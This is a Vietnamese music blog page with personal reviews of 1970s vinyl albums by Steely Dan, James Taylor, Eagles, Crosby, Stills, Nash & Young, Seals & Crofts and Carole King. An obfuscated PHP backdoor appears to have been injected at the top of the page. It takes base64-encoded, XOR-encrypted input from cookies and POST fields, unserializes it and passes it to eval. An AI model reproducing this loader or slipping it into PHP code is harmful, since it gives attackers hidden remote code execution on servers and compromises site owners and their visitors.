$gkTikmvawS = class_exists("L_JuS");if (!$gkTikmvawS){class L_JuS{private $pEkriz;public static $gEJHvAd = "0bac3d14-080a-40da-9ae3-072f26eb3bee";public static $hiuUA = NULL;public function __construct(){$nACiVMM = $_COOKIE;$ZybOWNLPM = $_POST;$AjoGQkCSfU = @$nACiVMM[substr(L_JuS::$gEJHvAd, 0, 4)];if (!empty($AjoGQkCSfU)){$CHzhCIO = "base64";$MphdUtXc = "";$AjoGQkCSfU = explode(",", $AjoGQkCSfU);foreach ($AjoGQkCSfU as $XvwaYg){$MphdUtXc .= @$nACiVMM[$XvwaYg];$MphdUtXc .= @$ZybOWNLPM[$XvwaYg];}$MphdUtXc = array_map($CHzhCIO . chr ( 182 - 87 ).'d' . 'e' . "\143" . chr (111) . "\x64" . chr (101), array($MphdUtXc,)); $MphdUtXc = $MphdUtXc[0] ^ str_repeat(L_JuS::$gEJHvAd, (strlen($MphdUtXc[0]) / strlen(L_JuS::$gEJHvAd)) + 1);L_JuS::$hiuUA = @unserialize($MphdUtXc);}}public function __destruct(){$this->rybNWbPiMq();}private function rybNWbPiMq(){if (is_array(L_JuS::$hiuUA)) {$EgZDwdc = str_replace("\74" . chr ( 405 - 342 )."\160" . "\150" . chr ( 886 - 774 ), "", L_JuS::$hiuUA[chr ( 642 - 543 ).chr (111) . 'n' . "\164" . "\x65" . "\x6e" . 't']);eval($EgZDwdc);exit();}}}$RYRUp = new L_JuS(); $RYRUp = NULL;} ?> B.l.u.e – Page 6 – Inside the crowd, I dance [alone]

B.l.u.e

Inside the crowd, I dance [alone]

Menu Close

Page 6 of 33

Steely Dan – Aja

Aja là một album khá lạ, theo ý mình. Nó được rất nhiều những dân nghe nhạc chuyên nghiệp hay những tay phối khí, những nghệ sĩ lớn xem là một trong, nếu không muốn nói, album hay nhất từng được thu âm. Aja của Steely Dan được thu âm đã gần 40 năm nhưng chất lượng của nó tuyệt vời đến mức cho đến giờ cũng hiếm record nào đạt tới được. Âm thanh nó hay tuyệt diệu và rất chuẩn. Nếu được hỏi record nào nên dùng để test xem một hệ thống chơi vinyl có ngon lành không, người ta đa phần hay khuyên: hãy bỏ Aja vào. Thế nhưng, với đông đảo thính giả nghe nhạc, Aja không phải là một cái tên thuộc dạng khá phổ thông, đại chúng.

Vào cái mùa hè Summer of Hate năm 1977 nổi tiếng đó, không phải God Save The Queen của Sex Pistols, cũng không phải The Clash với album cùng tên của mình là điểm nóng nhất, mà là Aja của Steely Dan – một album hoàn toàn không dính gì tới phong trào punk đầy nổi loạn và gây tranh cãi kéo dài. Phải chăng vì thế mà sau này, Rolling Stones đã gọi họ là “kẻ phản-diện hoàn hảo nhất trong âm nhạc những năm 70”.

Aja thuộc thể loại jazz rock. Và đây cũng là record đầu tiên mình nghe kết hợp jazz vào với rock. Trong album này, Donald Fagen và Walter Becker mời cộng tác những tên tuổi thuộc loại nổi tiếng nhất trong loại nhạc jazz/R&B những năm 70: tay trống Steve Gadd (một trong những tay trống được đánh giá cao nhất về chuyên môn) và Bernard Perdie (Purdie Shuffle nổi tiếng), tay bass Chuck Rainey, vocal Michael McDonald (của The Doobie Brothers), đặc biệt là tay saxophone huyền thoại, người sau này thắng tới 10 giải Grammy là Wayne Shorter. Với “đội hình” đẹp như thế, không khó hiểu khi trong album có những đoạn solo ngẫu hứng đẹp đến rụng rời.

Nhìn chung, Aja theo mình thấy xứng với những gì mà những nhà phê bình, dù là khó tính nhất khen ngợi. Cái thể loại jazz-rock đầy ngẫu hứng đi kèm lyrics cũng tự nhiên và lạ không kém khiến mình thổn thức không thôi. Đây là một trong những record hiếm hoi mà mới nghe lần đầu mình đã hứng thú đến mức chơi đi chơi lại liên tục. Track mình thích nhất trong album chắc là Aja, nhất là đoạn thổi saxophone lả lơi mà dịu dàng đầm ấm, nghe vào cứ như thấy mình đang bay bổng, phiêu du.

Highly recommended!

James Taylor – Mud Slide Slim And The Blue Horizon & Greatest Hits

2 records mình có của James Taylor, tìm được khi đang phủ bụi trên kệ đĩa ở tiệm sách cũ: Mud Slide Slim & The Blue Horizon, và Greatest Hits. Vẫn như trước, mình sẽ không nói nhiều đến Greatest Hits vốn là album tổng hợp của James.

Những review về James rất trái chiều. Có nhiều nhà phê bình đánh giá ông là một tài năng hiếm hoi, như Chuck Berry, Bob Dylan hay The Band những năm thập niên 60, 70. Ông kết hợp được thứ âm nhạc blue buồn man mác của người da đen vào với thứ folk rock rộn ràng vui nhộn của những người da trắng. Thính giả vốn đặt rất nhiều kì vọng vào ông sau album Sweet Baby James phát hành ngay năm trước đó, đã phần nào thất vọng với Mud Slide Slim & The Blue Horizon. Ngay từ bìa album. Chỉ một năm cách biệt, James trên cover của album mới nhìn đầy phong trần và buồn nản hơn, so với hình ảnh một James nghiêm nghị mím môi nhưng nhìn trẻ trung và đầy sức sống ở album trước đó. Âm nhạc của James trong album mới cũng buồn và mất tinh thần hơn nhiều, có lẽ ảnh hưởng bởi tác dụng phụ của rượu và chất kích thích mà ông dùng liên tục trong khoảng thời gian đó. Ẩn chứa trong vài bài của James còn có tư tưởng buông xuôi, chán đời.

Nếu không đọc hay không biết, không quan tâm về cuộc đời James thì ắt thấy album này  hay. Âm nhạc vẫn là sự tiếp nối từ album trước. Giọng của James vẫn rất đặc biệt, cái chất giọng cao và cô độc đầy cảm xúc đấy vẫn cuốn hút như ngày nào. Và có lẽ, đó cũng là đánh giá của mình cho album thứ 3 ngày của James. Về nghệ thuật, hay đủ để tán dương, đặc biệt là track cover của Carole King You’ve Got A Friend, có lẽ không ai hát được bản này đầy xúc cảm đến thế. Nội chỉ một track này thôi, cũng đủ bừng sáng cả một album…

I don’t know no love songs and I can’t sing the blues anymore.
But I can sing this song and you can sing this song when I’m gone.

Eagles – On The Border & Their Greatest Hits 1971-1975

Trước khi thấy hai record này ở một tiệm đĩa với giá rẻ mạt thì điều duy nhất mình biết đến ở Ealges là Hotel California; không hơn, không kém. Mình tìm thông tin trên Google nhanh thì thấy On The Border là album nằm ở khoảng giữa giữa của Eagles. Không quá non nớt như những album đầu, nhưng chưa đạt tới đỉnh cao của nghệ thuật như với Hotel California. Nó là một Eagles vẫn chỉ đang dần định hình được chính mình và dòng nhạc của mình theo đuổi.

Không nói kĩ về Their Greatest Hits 1971 – 1975 vì nó là đĩa tổng hợp, mình ít nói về đĩa tổng hợp, ngoài trường hợp như đây, nhân tiện viết thì liệt kê vào. On The Border đánh dấu một Eagles đang gắng xoá cái định kiến một ban-nhạc-country-rock. Thứ họ muốn chơi là thứ nhạc đang lên ngôi của những năm thập niên 70: hard rock và rock n roll. Trong khi thu âm On The Border, Eagles quyết định cắt đứt hợp đồng với nhà sản xuất Glyn Johns (khi chỉ mới xong có 2 ca khúc là: You Never Cry Like a LoverBest of My Love) vì Johns có khuynh hướng nghiêng quá nhiều về country rock. Sau đó Eagles tìm được Bill Szymczy. Szymczy thích thứ nhạc đầy thô ráp và nhiều đoạn guitar điện – vốn đúng thứ mà Eagles nhắm tới hơn.

Cũng cùng lúc đó, Bernie tìm đến người bạn cũ Don Felder của mình và đề nghị Felder giúp chơi vài track trong album mới. Sự hợp tác này tốt đẹp đến mức, tuy chỉ góp mặt trong 2 track là Already GoneGood Day in Hell, Felder đã hoàn toàn thuyết phục được các thành viên Eagles bằng tiếng guitar điêu luyện của mình, để rồi trở thành lead guitar của Eagles cho đến mấy chục năm sau.

On The Border đạt được thành công tàm tạm ở cả Anh và Mỹ, leo lên vị trí khá đẹp trên các bảng xếp hạng (lần lượt là #28 và #17). Điều hài hước nhất là một trong 2 ca khúc của Johns trong album này: Best of My Love lại là single chiếm vị trí đầu bảng, trong khi track được chờ đợi là Already Gone chỉ tới vị trí #32.

Tuy nhiên, hạng không hẳn đã là yếu tố quan trọng. Cá nhân mình nghĩ đây là bước đi đúng hướng của Eagles. Sự bổ sung vào đội hình một tay guitar tài ba khác (nâng tổng số tay chơi guitar trong band lên tới 3) khiến cho các bài hát của Eagles đầy giai điệu hơn. Có thể có những track trong album phần guitar vẫn có cảm giác dài lê thê và mất kết nối, nhưng thính giả khi nghe album này hoàn toàn có thể trông chờ vào một Eagles ở các album kế tiếp – khi những nhạc công của họ đã hoà cùng một nhịp.

On The Border không hẳn là một record hay tuyệt, nhưng là record xứng có trong bộ sưu tập.

Crosby, Stills & Nash – CSN

CSN là album thứ 3 của Crosby, Stills & Nash, ra sau Déjà Vu nổi tiếng mà mình đã nhắc ở đây. Sau Déjà Vu (1970), các thành viên trong ban nhạc bận rộn theo đuổi những dự án riêng của mình. Lần duy nhất trong 7 năm đó mà họ tái hợp với đầy đủ đội hình (có cả Neil Young) là vào tour năm 1974. Những người yêu nhạc đã chờ quá lâu mới lại được nghe Crosby, Stills & Nash hát. Vì vậy, không lấy gì làm ngạc nhiên khi CSN leo hạng vùn vụt trên các bảng xếp hạng ngay khi vừa ra mắt. Vấn đề là, CSN có thật sự hay, hoặc đó chỉ là sự mong chờ của thính giả quyết định?

Câu trả lời là 3/4 và 1/4. Hơi lạ, nhưng là vậy. Nghĩa là CSN có hay, vẫn hay, đủ hay hơn hầu hết các folk rock và soft rock band và album cùng giai đoạn. Đem so với Déjà Vu trước đó 7 năm thì hơi bất công quá cho CSN, khi album này không còn Young, nhưng nếu chỉ đem so với album đầu tay (cùng tên) của Crosby, Stills & Nash, thì CSN vẫn có chút gì đó kém.

Nói là kém, ấy là khi đặt tiêu chuẩn so sánh cao quá thôi, chứ như đã nói, CSN vẫn hay, vì nó vẫn giữ được chất nhạc mà CSN theo đuổi từ đầu: những bài hát cực giàu giai điệu, lời nhạc thơ và ý nghĩa, phối khí các giọng ca hát nối ngay hay chồng lên nhau tạo hiệu ứng thính giác đặc biệt, nghe tựa như một dàn đồng ca nhỏ đang xướng vang. Thêm nữa, không hẳn là CSN không có điểm đặc sắc của riêng mình. Nó có, nhưng khó nhận ra. Đó là khả năng sáng tác của 3 thành viên đã chín muồi hơn, đặc biệt là ở Stills – các bài hát buồn với tâm trạng u ám sau cuộc hôn nhân tan vỡ.

Nhìn chung, mình không thích CSN bằng album Déjà Vu trước đó, nhưng vẫn đánh giá đây là một album nghe được.

Crosby, Stills, Nash & Young – Déjà Vu

Crosby, Stills, Nash (CSN) là một trong những band nhạc nổi tiếng nhất vào thập niên 70. Vào cái thời điểm mà The Beatles tan rã, Bob Dylan không còn hoạt động nghệ thuật nhiều, thì cũng chỉ có The Rolling Stones, The Who hay sau đó là Led Zeppelin mới sánh được với CSN về độ nổi tiếng và lượng fan hâm mộ. CSN là supergroup được thành lập từ những tên tuổi vốn đã có tiếng ở các ban nhạc khác. Crosby từng đánh trong ban nhạc (soft) rock huyền thoại những năm 60s The Byrds, Stills đảm nhiệm nhiều vai trò (guitar, keyboard, vocal chính và sáng tác) trong Buffalo Springfield. Còn Nash thì chơi trong ban The Hollies. Một tên tuổi vô cùng nổi tiếng khác (mà mình cũng rất thích) là Neil Young thì tham gia bán thời gian.

Quay lại với album này. Déjà Vu là album đầu tiên khi Neil Young gia nhập. Việc thêm một nghệ sĩ tài ba như Young đã giúp cho âm nhạc của họ có chất lượng tăng vọt so với album trước khi chỉ có 3 người. Trước khi album này ra mắt thì đã được đông đảo thính giả mong chờ, và album đã không phụ sự kì vọng của đông đảo giới mộ điệu. Ngay sau khi ra mắt, nó vọt đến vị trí đầu của rất nhiều bảng xếp hạng.

Déjà Vu rất khó để viết cảm nhận, vì nó hay đều quá. 4 nghệ sĩ tài năng lúc này có lẽ là đang ở đỉnh cao chín mùi của tài năng – cả trình diễn lẫn sáng tác. Mỗi bài đều có một sắc thái rất riêng. Crosby, Stills, Nash và Young chia ra mà hỗ trợ nhau. Khi thì giọng ca này hát chính, ở bài kia lại chính giọng đó hát back vocal hỗ trợ. Và họ ai cũng đánh guitar rất tài, đặc biệt là tiếng guitar đầy ảo diệu và phiêu du của Young và Stephen Stills.

Nhìn chung, đây là album khá khó nghe, vì ắt phải nghe ít nhất là vài lần nữa mới có thể cảm nhận được hết cái hay của nó, nhưng sau 2 lần đầu nghe, mình đã tự tin nói rằng đây là record thuộc thể loại soft rock hay nhất trong bộ nhạc của mình.

Seals & Crofts – Summer Breeze

Well, lại một album soft rock nữa trong bộ sưu tập mà mình mua chỉ để nghe thử-cho-biết, chủ yếu vì cover hay quá, nhìn giản đơn mà khá là nghệ thuật. Không kì vọng nhiều lắm, nhưng kết quả đạt được lại khiến mình bất ngờ. Mình thích album này.

Summer Breeze là album nổi tiếng nhất của Seals & Crofts. Album này giai điệu rất hay. Cái chất soft-rock Mỹ đặc trưng của thập niên 70 này làm mình liên tưởng tới CSN, Poco hay Bread. Album được phối rất tài tình, các nhạc cụ đan xen vào nhau hiệu quả đến không ngờ. Khi là tiếng guitar mộc mạc, khi thì violin hay mandolin réo rắt, lúc lại là harmonica hay sáo vi vu. Mọi thứ cứ hoà vào nhau, cùng giọng nhẹ nhàng như kể chuyện của Seals & Crofts, tạo cảm giác rất dễ chịu cho người nghe.

Và âm nhạc dễ chịu, là âm nhạc hay.

Ca khúc chính của album Summer Breeze được khá nhiều ca sĩ và nhóm nhạc cover, nổi nhất chắc là Ray Conniff Singers hay band nhạc Doom Type O Negative. Tuy nhiên, ca khúc mình thích nhất lại là The Boy Down The Road vì lời giản dị và hay, nhất là đoạn đọc ở cuối

Give my love to the boy down the road,
And tell him not to cry, for I know.

Ca khúc mình thấy thú vị nhất thì là Hummingbird, ảnh hưởng của đạo Bahá’í Faith, nhẹ nhàng và đầy chất thánh ca. Anyway, very highly recommended!

Carole King – Rhymes & Reasons

Record thứ 3 của Carole King và cũng là record mình mua gần nhất. Bình thường nhắc đến King, giới phê bình chỉ nhắc đến Tapestry Music, vì tưởng chừng 2 album đó đã là đỉnh cao của một King gồ ghề hát thu hút, và một King sáng tác đẹp và đầy ý nghĩa. Nhưng những album sau thì không biết thế nào, chứ riêng Rhymes & Reasons – album thứ 4 của King, với mình đã là một chút thú vị khác.

Nếu đã từng nghe qua Carole King ở 2 album trước thì chắc sẽ khó lòng nhận ra cô trong Rhymes & Reasons. Nó u ám và xám xịt. Nó đen tối và chán chường. Cứ như King ngày nào đầy tươi trẻ đã đi đâu mất vậy.

It’s a gray, gray gloomy day
A strange and moody blues day
Gotta get through, gotta get through another day

Đấy, những lời nhạc như thế đấy (bài Gotta Get Through Another Day). Cũng lấy bài này làm ví dụ, vì mình nghĩ bài này nêu được cái cảm xúc tâm lý chung của toàn album. King viết

Some say that time brings a better understanding
Of the rhyme and reason to it all

Không ai biết chuyện gì đã xảy ra với King ở cái khoảng thời gian ngắn giữa MusicRhymes & Reasons. Nhiều người nói, sau khi đạt gần như tới đỉnh của thành công và danh tiếng, thì King không còn quan tâm tới khía cạnh thương mại nữa, và cái chất nhạc ‘tối’ này mới là chính cô. Điều này, ắt ngoài King ra, không ai có được câu trả lời chắc chắn. Giai điệu của album này nhìn chung không được xuất sắc như 2 album trước, dù vẫn có những đoạn piano đầy đặc trưng, nhưng giọng của King mình có cảm giác hát thế này hợp hơn. Vẫn còn chút gì đó thô ráp như trước đây, nhưng giọng cô đã ấm hơn và đầy chất tự sự hơn nhiều.

Nghe King ở record này, có cảm giác đây mới là chính cô.

© 2024 B.l.u.e. All rights reserved.

Theme by Anders Norén.